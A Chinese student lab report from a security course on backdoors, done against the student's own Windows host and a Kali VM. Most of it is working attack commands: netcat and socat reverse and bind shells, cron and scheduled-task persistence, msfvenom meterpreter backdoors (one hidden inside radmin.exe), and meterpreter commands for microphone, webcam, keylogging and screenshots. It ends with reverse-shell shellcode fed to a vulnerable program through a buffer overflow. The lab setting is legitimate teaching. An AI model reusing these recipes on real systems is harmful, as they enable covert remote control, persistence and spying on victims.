Exp2-后门原理与实践
Exp2-后门原理与实践
1.实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.实验过程
(1)准备工作
获取主机和kali虚拟机的ip
主机ip:192.168.101.94
kali虚拟机ip:192.168.120.132(sudo ifconfig)
下载ncat和socat并解压
(2)使用netcat获取主机操作Shell,cron启动
在主机中获取虚拟机Shell:
在主机中打开cmd,并进入到ncat文件夹中
使用ncat.exe -l -p 1201监听本机的1201端口
在虚拟机中使用nc 192.168.101.94 1201 -e /bin/sh连接主机反弹shell
成功获取虚拟机shell
在虚拟机中获取主机Shell:
在虚拟机中用nc -l -p 1201监听主机1201端口
并在主机中用ncat -e cmd 192.168.120.132 1201
成功获取到主机shell
cron启动:
先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
在最后一行添加21 * * * * nc 192.168.101.94 1201 -e /bin/sh,即在每个小时的第21分钟反向连接Windows主机的1201端口
等到任意小时的21分,在ip地址为192.168.101.94的主机端用ncat -l -p 1201打开监听
注:需要注意的是,要提前打开监听,比如我设置的21分,就要在20分就打开监听,否则没有反应。
(3)使用socat获取主机操作Shell, 任务计划启动
在Windows中按Win+R,再输入compmgmt.msc打开计算机管理,并在系统工具中的任务计划程序中创建任务
设置任务名称
新建触发器
新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1201 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1201,同时把cmd.exe的stderr重定向
在Kali中输入命令socat - tcp:192.168.101.94:1201
成功获取主机的Shell
(4)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
Kali执行代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.120.132 LPORT=1201 -f exe > 20191201_backdoor.exe
利用ncat将后门文件传送到主机下获取sehll:
在主机的cmd下运行:ncat.exe -l 1201 > 20191201_backdoor.exe
kali运行:nc 192.168.101.94 1201 < 20191201_backdoor.exe
这时ncat文件夹中的20191201_backdoor.exe大小不为0kb
在kali中启动msf:msfconsole
运行:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.120.132
set LPORT 1201
exploit
在主机上双击运行20191201_backdoor.exe
kali虚拟机会显示,成功获取shell:
注:第一次运行exe文件的时候,因为主机上的杀毒软件把exe文件当作病毒删掉了,所以重新做了一遍该过程。
(5)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取主机音频:record_mic
获取摄像头:webcam_snap
获取击键记录:keyscan_start(开始捕获) keyscan_dump(结束捕获)
获取截屏:screenshot
尝试提权:
在Kali中运行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.120.132 LPORT=1201 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o rradmin.exe
同时在主机监听:ncat.exe -l 1201 > rradmin.exe
在主机中会生成meterpreter的payload
在Kali中运行:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.120.132
run
但之后在主机运行rradmin后,报出提示:
在百度上找了好久也没有解决办法,在这里给出参考博客:https://blog.csdn.net/redwand/article/details/107527710
(6)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
首先关闭地址随机化
输入:msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.120.132 LPORT=1201 -f c
生成的shellcode如下:
\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x65\x7d\x66\x68\x04\xb1\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1
结合exp1中找到的pwn1的返回地址(我的是0xffffd130),加在shellcode开头,再在上覆盖缓冲区的随意字符,在Kali上生成shellcode在Kali本地进行实验,用如下代码生成input,然后再按照之前的方法设置msf控制台
perl -e 'print "A" x 32;print "\x30\xd1\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x65\x7d\x66\x68\x04\xb1\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>input
在一终端运行pwn3,在另一终端用msfexploit监听,攻击成功:
3.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
将后门以邮件附件的方式发送给被攻击者,被攻击者如果运行附件,就会被植入后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
远程修改任务计划、通过注册表自启动、通过漏洞、通过带后门的程序等等
(3)Meterpreter有哪些给你映像深刻的功能?
生成不同类型的后门软件、监听键盘、获取权限、网络嗅探等等
(4)如何发现自己有系统有没有被安装后门?
总是有程序自启动、数据突然丢失或被编辑、系统无故死机、经常报告内存空间不够、日志记录异常等等
4.实验体会
本次实验总的来说较为有趣,不管是使用ncat和socat获取Kali、Windows的shell,还是到之后使用Meterpreter生成针对特定系统的后门程序并对主机进行攻击获取主机的摄像头权限、键盘记录等操作,都给我成为一种小时候向往的黑客的感觉。尽管此次实验有了同学的指导整体过程较为顺利,但还是遇到了不少麻烦,比如说kali机上监听不到任何东西、杀毒软件把生成的后门软件删掉等等。还有比较可惜的就是经过大量尝试之后,选做作业还是没有完成,这也说明了我的理论储备还不够,还需要在之后的日子里继续努力。